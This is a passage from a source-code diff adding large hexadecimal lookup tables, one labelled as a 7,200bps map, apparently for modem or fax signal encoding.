+            {0x18, 0x19, 0x0a, 0x03, 0x14, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x0a, 0x03, 0x14, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x0a, 0x03, 0x14, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x0a, 0x03, 0x14, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x0a, 0x03, 0x14, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x0a, 0x03, 0x14, 0x05, 0x16, 0x1f},
+            {0x18, 0x19, 0x0a, 0x03, 0x14, 0x05, 0x16, 0x1f},
+            {0x18, 0x19, 0x0a, 0x03, 0x14, 0x05, 0x16, 0x1f},
+            {0x18, 0x19, 0x0a, 0x03, 0x14, 0x05, 0x16, 0x1f},
+            {0x18, 0x19, 0x0a, 0x03, 0x14, 0x05, 0x16, 0x1f}
+        },
+        {
+            {0x10, 0x11, 0x1a, 0x1b, 0x04, 0x0d, 0x06, 0x07},
+            {0x10, 0x11, 0x1a, 0x1b, 0x04, 0x0d, 0x06, 0x07},
+            {0x10, 0x11, 0x1a, 0x1b, 0x04, 0x0d, 0x06, 0x07},
+            {0x10, 0x11, 0x1a, 0x1b, 0x04, 0x0d, 0x06, 0x07},
+            {0x10, 0x11, 0x1a, 0x1b, 0x04, 0x0d, 0x06, 0x17},
+            {0x10, 0x11, 0x1a, 0x1b, 0x04, 0x0d, 0x06, 0x17},
+            {0x10, 0x11, 0x1a, 0x1b, 0x04, 0x0d, 0x06, 0x17},
+            {0x10, 0x11, 0x1a, 0x1b, 0x04, 0x0d, 0x06, 0x17},
+            {0x10, 0x11, 0x1a, 0x1b, 0x04, 0x0d, 0x06, 0x17},
+            {0x10, 0x11, 0x1a, 0x1b, 0x04, 0x0d, 0x06, 0x17},
+            {0x10, 0x11, 0x1a, 0x0b, 0x04, 0x0d, 0x06, 0x17},
+            {0x10, 0x11, 0x1a, 0x0b, 0x04, 0x0d, 0x06, 0x17},
+            {0x18, 0x11, 0x1a, 0x0b, 0x04, 0x0d, 0x06, 0x17},
+            {0x18, 0x11, 0x1a, 0x0b, 0x04, 0x0d, 0x06, 0x17},
+            {0x18, 0x11, 0x1a, 0x0b, 0x04, 0x0d, 0x16, 0x17},
+            {0x18, 0x11, 0x1a, 0x0b, 0x04, 0x0d, 0x16, 0x17},
+            {0x18, 0x11, 0x1a, 0x0b, 0x04, 0x0d, 0x16, 0x17},
+            {0x18, 0x11, 0x1a, 0x0b, 0x04, 0x0d, 0x16, 0x17},
+            {0x18, 0x19, 0x1a, 0x0b, 0x04, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x1a, 0x0b, 0x04, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x1a, 0x0b, 0x04, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x1a, 0x0b, 0x04, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x0a, 0x0b, 0x04, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x0a, 0x0b, 0x04, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x0a, 0x0b, 0x14, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x0a, 0x0b, 0x14, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x0a, 0x03, 0x14, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x0a, 0x03, 0x14, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x0a, 0x03, 0x14, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x0a, 0x03, 0x14, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x0a, 0x03, 0x14, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x0a, 0x03, 0x14, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x0a, 0x03, 0x14, 0x05, 0x16, 0x1f},
+            {0x18, 0x19, 0x0a, 0x03, 0x14, 0x05, 0x16, 0x1f},
+            {0x18, 0x19, 0x0a, 0x03, 0x14, 0x05, 0x16, 0x1f},
+            {0x18, 0x19, 0x0a, 0x03, 0x14, 0x05, 0x16, 0x1f}
+        },
+        {
+            {0x10, 0x11, 0x1a, 0x1b, 0x04, 0x0d, 0x06, 0x07},
+            {0x10, 0x11, 0x1a, 0x1b, 0x04, 0x0d, 0x06, 0x07},
+            {0x10, 0x11, 0x1a, 0x1b, 0x04, 0x0d, 0x06, 0x07},
+            {0x10, 0x11, 0x1a, 0x1b, 0x04, 0x0d, 0x06, 0x17},
+            {0x10, 0x11, 0x1a, 0x1b, 0x04, 0x0d, 0x06, 0x17},
+            {0x10, 0x11, 0x1a, 0x1b, 0x04, 0x0d, 0x06, 0x17},
+            {0x10, 0x11, 0x1a, 0x1b, 0x04, 0x0d, 0x06, 0x17},
+            {0x10, 0x11, 0x1a, 0x1b, 0x04, 0x0d, 0x06, 0x17},
+            {0x10, 0x11, 0x1a, 0x1b, 0x04, 0x0d, 0x06, 0x17},
+            {0x10, 0x11, 0x1a, 0x1b, 0x04, 0x0d, 0x06, 0x17},
+            {0x10, 0x11, 0x1a, 0x0b, 0x04, 0x0d, 0x06, 0x17},
+            {0x18, 0x11, 0x1a, 0x0b, 0x04, 0x0d, 0x06, 0x17},
+            {0x18, 0x11, 0x1a, 0x0b, 0x04, 0x0d, 0x06, 0x17},
+            {0x18, 0x11, 0x1a, 0x0b, 0x04, 0x0d, 0x06, 0x17},
+            {0x18, 0x11, 0x1a, 0x0b, 0x04, 0x0d, 0x16, 0x17},
+            {0x18, 0x11, 0x1a, 0x0b, 0x04, 0x0d, 0x16, 0x17},
+            {0x18, 0x11, 0x1a, 0x0b, 0x04, 0x0d, 0x16, 0x17},
+            {0x18, 0x11, 0x1a, 0x0b, 0x04, 0x0d, 0x16, 0x17},
+            {0x18, 0x19, 0x1a, 0x0b, 0x04, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x1a, 0x0b, 0x04, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x1a, 0x0b, 0x04, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x1a, 0x0b, 0x04, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x0a, 0x0b, 0x04, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x0a, 0x0b, 0x04, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x0a, 0x0b, 0x04, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x0a, 0x0b, 0x14, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x0a, 0x03, 0x14, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x0a, 0x03, 0x14, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x0a, 0x03, 0x14, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x0a, 0x03, 0x14, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x0a, 0x03, 0x14, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x0a, 0x03, 0x14, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x0a, 0x03, 0x14, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x0a, 0x03, 0x14, 0x05, 0x16, 0x1f},
+            {0x18, 0x19, 0x0a, 0x03, 0x14, 0x05, 0x16, 0x1f},
+            {0x18, 0x19, 0x0a, 0x03, 0x14, 0x05, 0x16, 0x1f}
+        },
+        {
+            {0x10, 0x11, 0x1a, 0x1b, 0x04, 0x0d, 0x06, 0x07},
+            {0x10, 0x11, 0x1a, 0x1b, 0x04, 0x0d, 0x06, 0x07},
+            {0x10, 0x11, 0x1a, 0x1b, 0x04, 0x0d, 0x06, 0x17},
+            {0x10, 0x11, 0x1a, 0x1b, 0x04, 0x0d, 0x06, 0x17},
+            {0x10, 0x11, 0x1a, 0x1b, 0x04, 0x0d, 0x06, 0x17},
+            {0x10, 0x11, 0x1a, 0x1b, 0x04, 0x0d, 0x06, 0x17},
+            {0x10, 0x11, 0x1a, 0x1b, 0x04, 0x0d, 0x06, 0x17},
+            {0x10, 0x11, 0x1a, 0x1b, 0x04, 0x0d, 0x06, 0x17},
+            {0x10, 0x11, 0x1a, 0x1b, 0x04, 0x0d, 0x06, 0x17},
+            {0x10, 0x11, 0x1a, 0x1b, 0x04, 0x0d, 0x06, 0x17},
+            {0x18, 0x11, 0x1a, 0x0b, 0x04, 0x0d, 0x06, 0x17},
+            {0x18, 0x11, 0x1a, 0x0b, 0x04, 0x0d, 0x06, 0x17},
+            {0x18, 0x11, 0x1a, 0x0b, 0x04, 0x0d, 0x06, 0x17},
+            {0x18, 0x11, 0x1a, 0x0b, 0x04, 0x0d, 0x06, 0x17},
+            {0x18, 0x11, 0x1a, 0x0b, 0x04, 0x0d, 0x16, 0x17},
+            {0x18, 0x11, 0x1a, 0x0b, 0x04, 0x0d, 0x16, 0x17},
+            {0x18, 0x11, 0x1a, 0x0b, 0x04, 0x0d, 0x16, 0x17},
+            {0x18, 0x11, 0x1a, 0x0b, 0x04, 0x0d, 0x16, 0x17},
+            {0x18, 0x19, 0x1a, 0x0b, 0x04, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x1a, 0x0b, 0x04, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x1a, 0x0b, 0x04, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x1a, 0x0b, 0x04, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x0a, 0x0b, 0x04, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x0a, 0x0b, 0x04, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x0a, 0x0b, 0x04, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x0a, 0x0b, 0x04, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x0a, 0x03, 0x14, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x0a, 0x03, 0x14, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x0a, 0x03, 0x14, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x0a, 0x03, 0x14, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x0a, 0x03, 0x14, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x0a, 0x03, 0x14, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x0a, 0x03, 0x14, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x0a, 0x03, 0x14, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x0a, 0x03, 0x14, 0x05, 0x16, 0x1f},
+            {0x18, 0x19, 0x0a, 0x03, 0x14, 0x05, 0x16, 0x1f}
+        },
+        {
+            {0x10, 0x11, 0x1a, 0x1b, 0x04, 0x0d, 0x06, 0x07},
+            {0x10, 0x11, 0x1a, 0x1b, 0x04, 0x0d, 0x06, 0x17},
+            {0x10, 0x11, 0x1a, 0x1b, 0x04, 0x0d, 0x06, 0x17},
+            {0x10, 0x11, 0x1a, 0x1b, 0x04, 0x0d, 0x06, 0x17},
+            {0x10, 0x11, 0x1a, 0x1b, 0x04, 0x0d, 0x06, 0x17},
+            {0x10, 0x11, 0x1a, 0x1b, 0x04, 0x0d, 0x06, 0x17},
+            {0x10, 0x11, 0x1a, 0x1b, 0x04, 0x0d, 0x06, 0x17},
+            {0x10, 0x11, 0x1a, 0x1b, 0x04, 0x0d, 0x06, 0x17},
+            {0x10, 0x11, 0x1a, 0x1b, 0x04, 0x0d, 0x06, 0x17},
+            {0x18, 0x11, 0x1a, 0x1b, 0x04, 0x0d, 0x06, 0x17},
+            {0x18, 0x11, 0x1a, 0x0b, 0x04, 0x0d, 0x06, 0x17},
+            {0x18, 0x11, 0x1a, 0x0b, 0x04, 0x0d, 0x06, 0x17},
+            {0x18, 0x11, 0x1a, 0x0b, 0x04, 0x0d, 0x06, 0x17},
+            {0x18, 0x11, 0x1a, 0x0b, 0x04, 0x0d, 0x06, 0x17},
+            {0x18, 0x11, 0x1a, 0x0b, 0x04, 0x0d, 0x16, 0x17},
+            {0x18, 0x11, 0x1a, 0x0b, 0x04, 0x0d, 0x16, 0x17},
+            {0x18, 0x11, 0x1a, 0x0b, 0x04, 0x0d, 0x16, 0x17},
+            {0x18, 0x11, 0x1a, 0x0b, 0x04, 0x0d, 0x16, 0x17},
+            {0x18, 0x19, 0x1a, 0x0b, 0x04, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x1a, 0x0b, 0x04, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x1a, 0x0b, 0x04, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x1a, 0x0b, 0x04, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x0a, 0x0b, 0x04, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x0a, 0x0b, 0x04, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x0a, 0x0b, 0x04, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x0a, 0x0b, 0x04, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x0a, 0x03, 0x04, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x0a, 0x03, 0x14, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x0a, 0x03, 0x14, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x0a, 0x03, 0x14, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x0a, 0x03, 0x14, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x0a, 0x03, 0x14, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x0a, 0x03, 0x14, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x0a, 0x03, 0x14, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x0a, 0x03, 0x14, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x0a, 0x03, 0x14, 0x05, 0x16, 0x1f}
+        },
+        {
+            {0x10, 0x11, 0x1a, 0x1b, 0x04, 0x0d, 0x06, 0x17},
+            {0x10, 0x11, 0x1a, 0x1b, 0x04, 0x0d, 0x06, 0x17},
+            {0x10, 0x11, 0x1a, 0x1b, 0x04, 0x0d, 0x06, 0x17},
+            {0x10, 0x11, 0x1a, 0x1b, 0x04, 0x0d, 0x06, 0x17},
+            {0x10, 0x11, 0x1a, 0x1b, 0x04, 0x0d, 0x06, 0x17},
+            {0x10, 0x11, 0x1a, 0x1b, 0x04, 0x0d, 0x06, 0x17},
+            {0x10, 0x11, 0x1a, 0x1b, 0x04, 0x0d, 0x06, 0x17},
+            {0x10, 0x11, 0x1a, 0x1b, 0x04, 0x0d, 0x06, 0x17},
+            {0x18, 0x11, 0x1a, 0x1b, 0x04, 0x0d, 0x06, 0x17},
+            {0x18, 0x11, 0x1a, 0x1b, 0x04, 0x0d, 0x06, 0x17},
+            {0x18, 0x11, 0x1a, 0x0b, 0x04, 0x0d, 0x06, 0x17},
+            {0x18, 0x11, 0x1a, 0x0b, 0x04, 0x0d, 0x06, 0x17},
+            {0x18, 0x11, 0x1a, 0x0b, 0x04, 0x0d, 0x06, 0x17},
+            {0x18, 0x11, 0x1a, 0x0b, 0x04, 0x0d, 0x06, 0x17},
+            {0x18, 0x11, 0x1a, 0x0b, 0x04, 0x0d, 0x16, 0x17},
+            {0x18, 0x11, 0x1a, 0x0b, 0x04, 0x0d, 0x16, 0x17},
+            {0x18, 0x11, 0x1a, 0x0b, 0x04, 0x0d, 0x16, 0x17},
+            {0x18, 0x11, 0x1a, 0x0b, 0x04, 0x0d, 0x16, 0x17},
+            {0x18, 0x19, 0x1a, 0x0b, 0x04, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x1a, 0x0b, 0x04, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x1a, 0x0b, 0x04, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x1a, 0x0b, 0x04, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x0a, 0x0b, 0x04, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x0a, 0x0b, 0x04, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x0a, 0x0b, 0x04, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x0a, 0x0b, 0x04, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x0a, 0x03, 0x04, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x0a, 0x03, 0x04, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x0a, 0x03, 0x14, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x0a, 0x03, 0x14, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x0a, 0x03, 0x14, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x0a, 0x03, 0x14, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x0a, 0x03, 0x14, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x0a, 0x03, 0x14, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x0a, 0x03, 0x14, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x0a, 0x03, 0x14, 0x05, 0x16, 0x17}
+        },
+        {
+            {0x10, 0x11, 0x1a, 0x1b, 0x04, 0x0d, 0x06, 0x17},
+            {0x10, 0x11, 0x1a, 0x1b, 0x04, 0x0d, 0x06, 0x17},
+            {0x10, 0x11, 0x1a, 0x1b, 0x04, 0x0d, 0x06, 0x17},
+            {0x10, 0x11, 0x1a, 0x1b, 0x04, 0x0d, 0x06, 0x17},
+            {0x10, 0x11, 0x1a, 0x1b, 0x04, 0x0d, 0x06, 0x17},
+            {0x10, 0x11, 0x1a, 0x1b, 0x04, 0x0d, 0x06, 0x17},
+            {0x10, 0x11, 0x1a, 0x1b, 0x04, 0x0d, 0x06, 0x17},
+            {0x18, 0x11, 0x1a, 0x1b, 0x04, 0x0d, 0x06, 0x17},
+            {0x18, 0x11, 0x1a, 0x1b, 0x04, 0x0d, 0x06, 0x17},
+            {0x18, 0x11, 0x1a, 0x1b, 0x04, 0x0d, 0x06, 0x17},
+            {0x18, 0x11, 0x1a, 0x0b, 0x04, 0x0d, 0x06, 0x17},
+            {0x18, 0x11, 0x1a, 0x0b, 0x04, 0x0d, 0x06, 0x17},
+            {0x18, 0x11, 0x1a, 0x0b, 0x04, 0x0d, 0x06, 0x17},
+            {0x18, 0x11, 0x1a, 0x0b, 0x04, 0x0d, 0x06, 0x17},
+            {0x18, 0x11, 0x1a, 0x0b, 0x04, 0x0d, 0x16, 0x17},
+            {0x18, 0x11, 0x1a, 0x0b, 0x04, 0x0d, 0x16, 0x17},
+            {0x18, 0x11, 0x1a, 0x0b, 0x04, 0x0d, 0x16, 0x17},
+            {0x18, 0x11, 0x1a, 0x0b, 0x04, 0x0d, 0x16, 0x17},
+            {0x18, 0x19, 0x1a, 0x0b, 0x04, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x1a, 0x0b, 0x04, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x1a, 0x0b, 0x04, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x1a, 0x0b, 0x04, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x0a, 0x0b, 0x04, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x0a, 0x0b, 0x04, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x0a, 0x0b, 0x04, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x0a, 0x0b, 0x04, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x0a, 0x03, 0x04, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x0a, 0x03, 0x04, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x0a, 0x03, 0x04, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x0a, 0x03, 0x14, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x0a, 0x03, 0x14, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x0a, 0x03, 0x14, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x0a, 0x03, 0x14, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x0a, 0x03, 0x14, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x0a, 0x03, 0x14, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x0a, 0x03, 0x14, 0x05, 0x16, 0x17}
+        },
+        {
+            {0x10, 0x11, 0x1a, 0x1b, 0x04, 0x0d, 0x06, 0x17},
+            {0x10, 0x11, 0x1a, 0x1b, 0x04, 0x0d, 0x06, 0x17},
+            {0x10, 0x11, 0x1a, 0x1b, 0x04, 0x0d, 0x06, 0x17},
+            {0x10, 0x11, 0x1a, 0x1b, 0x04, 0x0d, 0x06, 0x17},
+            {0x10, 0x11, 0x1a, 0x1b, 0x04, 0x0d, 0x06, 0x17},
+            {0x10, 0x11, 0x1a, 0x1b, 0x04, 0x0d, 0x06, 0x17},
+            {0x18, 0x11, 0x1a, 0x1b, 0x04, 0x0d, 0x06, 0x17},
+            {0x18, 0x11, 0x1a, 0x1b, 0x04, 0x0d, 0x06, 0x17},
+            {0x18, 0x11, 0x1a, 0x1b, 0x04, 0x0d, 0x06, 0x17},
+            {0x18, 0x11, 0x1a, 0x1b, 0x04, 0x0d, 0x06, 0x17},
+            {0x18, 0x11, 0x1a, 0x0b, 0x04, 0x0d, 0x06, 0x17},
+            {0x18, 0x11, 0x1a, 0x0b, 0x04, 0x0d, 0x06, 0x17},
+            {0x18, 0x11, 0x1a, 0x0b, 0x04, 0x0d, 0x06, 0x17},
+            {0x18, 0x11, 0x1a, 0x0b, 0x04, 0x0d, 0x06, 0x17},
+            {0x18, 0x11, 0x1a, 0x0b, 0x04, 0x0d, 0x16, 0x17},
+            {0x18, 0x11, 0x1a, 0x0b, 0x04, 0x0d, 0x16, 0x17},
+            {0x18, 0x11, 0x1a, 0x0b, 0x04, 0x0d, 0x16, 0x17},
+            {0x18, 0x11, 0x1a, 0x0b, 0x04, 0x0d, 0x16, 0x17},
+            {0x18, 0x19, 0x1a, 0x0b, 0x04, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x1a, 0x0b, 0x04, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x1a, 0x0b, 0x04, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x1a, 0x0b, 0x04, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x0a, 0x0b, 0x04, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x0a, 0x0b, 0x04, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x0a, 0x0b, 0x04, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x0a, 0x0b, 0x04, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x0a, 0x03, 0x04, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x0a, 0x03, 0x04, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x0a, 0x03, 0x04, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x0a, 0x03, 0x04, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x0a, 0x03, 0x04, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x0a, 0x03, 0x14, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x0a, 0x03, 0x14, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x0a, 0x03, 0x14, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x0a, 0x03, 0x14, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x0a, 0x03, 0x14, 0x05, 0x16, 0x17}
+        },
+        {
+            {0x10, 0x11, 0x1a, 0x1b, 0x04, 0x0d, 0x06, 0x17},
+            {0x10, 0x11, 0x1a, 0x1b, 0x04, 0x0d, 0x06, 0x17},
+            {0x10, 0x11, 0x1a, 0x1b, 0x04, 0x0d, 0x06, 0x17},
+            {0x10, 0x11, 0x1a, 0x1b, 0x04, 0x0d, 0x06, 0x17},
+            {0x10, 0x11, 0x1a, 0x1b, 0x04, 0x0d, 0x06, 0x17},
+            {0x18, 0x11, 0x1a, 0x1b, 0x04, 0x0d, 0x06, 0x17},
+            {0x18, 0x11, 0x1a, 0x1b, 0x04, 0x0d, 0x06, 0x17},
+            {0x18, 0x11, 0x1a, 0x1b, 0x04, 0x0d, 0x06, 0x17},
+            {0x18, 0x11, 0x1a, 0x1b, 0x04, 0x0d, 0x06, 0x17},
+            {0x18, 0x11, 0x1a, 0x1b, 0x04, 0x0d, 0x06, 0x17},
+            {0x18, 0x11, 0x1a, 0x0b, 0x04, 0x0d, 0x06, 0x17},
+            {0x18, 0x11, 0x1a, 0x0b, 0x04, 0x0d, 0x06, 0x17},
+            {0x18, 0x11, 0x1a, 0x0b, 0x04, 0x0d, 0x06, 0x17},
+            {0x18, 0x11, 0x1a, 0x0b, 0x04, 0x0d, 0x06, 0x17},
+            {0x18, 0x11, 0x1a, 0x0b, 0x04, 0x0d, 0x16, 0x17},
+            {0x18, 0x11, 0x1a, 0x0b, 0x04, 0x0d, 0x16, 0x17},
+            {0x18, 0x11, 0x1a, 0x0b, 0x04, 0x0d, 0x16, 0x17},
+            {0x18, 0x11, 0x1a, 0x0b, 0x04, 0x0d, 0x16, 0x17},
+            {0x18, 0x19, 0x1a, 0x0b, 0x04, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x1a, 0x0b, 0x04, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x1a, 0x0b, 0x04, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x1a, 0x0b, 0x04, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x0a, 0x0b, 0x04, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x0a, 0x0b, 0x04, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x0a, 0x0b, 0x04, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x0a, 0x0b, 0x04, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x0a, 0x03, 0x04, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x0a, 0x03, 0x04, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x0a, 0x03, 0x04, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x0a, 0x03, 0x04, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x0a, 0x03, 0x04, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x0a, 0x03, 0x04, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x0a, 0x03, 0x14, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x0a, 0x03, 0x14, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x0a, 0x03, 0x14, 0x05, 0x16, 0x17},
+            {0x18, 0x19, 0x0a, 0x03, 0x14, 0x05, 0x16, 0x17}
+        }
+    },
+    {   /* 7,200bps map */
+        {
+            {0x08, 0x09, 0x0a, 0x03, 0x0c, 0x0d, 0x06, 0x0f},
+            {0x08, 0x01, 0x0a, 0x03, 0x0c, 0x0d, 0x06, 0x0f},
+            {0x08, 0x01, 0x0a, 0x03, 0x0c, 0x0d, 0x06, 0x0f},
+            {0x08, 0x01, 0x0a, 0x03, 0x0c, 0x0d, 0x06, 0x0f},
+            {0x08, 0x01, 0x0a, 0x03, 0x0c, 0x0d, 0x06, 0x0f},
+            {0x08, 0x01, 0x0a, 0x03, 0x0c, 0x0d, 0x06, 0x0f},
+            {0x08, 0x01, 0x0a, 0x03, 0x0c, 0x0d, 0x06, 0x0f},
+            {0x08, 0x01, 0x0a, 0x03, 0x0c, 0x0d, 0x06, 0x0f},
+            {0x08, 0x01, 0x0a, 0x03, 0x0c, 0x0d, 0x06, 0x0f},
+            {0x08, 0x01, 0x0a, 0x03, 0x04, 0x0d, 0x06, 0x0f},
+            {0x08, 0x01, 0x0a, 0x03, 0x04, 0x0d, 0x06, 0x0f},
+            {0x08, 0x01, 0x0a, 0x03, 0x04, 0x0d, 0x06, 0x0f},
+            {0x08, 0x01, 0x0a, 0x03, 0x04, 0x0d, 0x06, 0x0f},
+            {0x08, 0x01, 0x0a, 0x03, 0x04, 0x0d, 0x06, 0x0f},
+            {0x08, 0x01, 0x0a, 0x03, 0x04, 0x0d, 0x06, 0x0f},
+            {0x08, 0x01, 0x0a, 0x03, 0x04, 0x0d, 0x06, 0x0f},
+            {0x08, 0x01, 0x0a, 0x03, 0x04, 0x0d, 0x06, 0x0f},
+            {0x08, 0x01, 0x0a, 0x03, 0x04, 0x0d, 0x06, 0x0f},
+            {0x08, 0x01, 0x0a, 0x03, 0x04, 0x0d, 0x06, 0x0f},
+            {0x08, 0x01, 0x0a, 0x03, 0x04, 0x0d, 0x06, 0x0f},
+            {0x08, 0x01, 0x0a, 0x03, 0x04, 0x0d, 0x06, 0x0f},
+            {0x08, 0x01, 0x0a, 0x03, 0x04, 0x0d, 0x06, 0x0f},
+            {0x08, 0x01, 0x0a, 0x03, 0x04, 0x0d, 0x06, 0x0f},
+            {0x08, 0x01, 0x0a, 0x03, 0x04, 0x0d, 0x06, 0x0f},
+            {0x08, 0x01, 0x0a, 0x03, 0x04, 0x0d, 0x06, 0x0f},
+            {0x08, 0x01, 0x0a, 0x03, 0x04, 0x0d, 0x06, 0x0f},
+            {0x08, 0x01, 0x0a, 0x03, 0x04, 0x0d, 0x06, 0x0f},
+            {0x08, 0x01, 0x0a, 0x03, 0x04, 0x0d, 0x06, 0x0f},
+            {0x08, 0x01, 0x0a, 0x0b, 0x04, 0x0d, 0x06, 0x0f},
+            {0x08, 0x01, 0x0a, 0x0b, 0x04, 0x0d, 0x06, 0x0f},
